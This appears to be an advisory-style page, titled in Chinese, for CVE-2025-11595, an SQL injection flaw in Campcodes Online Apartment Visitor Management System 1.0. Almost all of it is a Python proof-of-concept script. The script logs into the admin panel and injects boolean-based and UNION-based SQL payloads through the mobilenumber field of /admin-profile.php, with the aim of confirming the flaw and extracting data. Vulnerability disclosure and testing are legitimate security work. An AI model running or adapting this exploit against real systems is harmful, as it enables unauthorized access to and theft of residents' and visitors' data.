CVE-2025-11595：Campcodes在线公寓访客管理系统SQL注入漏洞

# CVE-2025-11595 SQL Injection PoC # Target: Campcodes Online Apartment Visitor Management System 1.0 # Vulnerable File: /admin-profile.php # Vulnerable Parameter: mobilenumber import requests TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin-login.php" ADMIN_PROFILE_URL = f"{TARGET_URL}/admin-profile.php" # Step 1: Login as admin (requires valid credentials) session = requests.Session() login_data = { "username": "admin", "password": "admin_password", "submit": "Login" } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: SQL Injection payload in mobilenumber parameter # Basic boolean-based injection to test the vulnerability sql_payload = "' OR '1'='1' -- " # Step 3: Send malicious request to update profile profile_data = { "adminname": "admin", "mobilenumber": sql_payload, # Inject SQL here "email": "[email protected]", "submit": "Update" } response = session.post(ADMIN_PROFILE_URL, data=profile_data) # Step 4: Check response for SQL errors or successful injection if "error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] SQL Injection vulnerability confirmed!") else: print("[*] Check response manually for injection evidence") # Advanced: UNION-based injection to extract data # First determine number of columns, then extract sensitive data union_payload = "' UNION SELECT 1,2,3,4,5-- " profile_data["mobilenumber"] = union_payload response = session.post(ADMIN_PROFILE_URL, data=profile_data) print(response.text)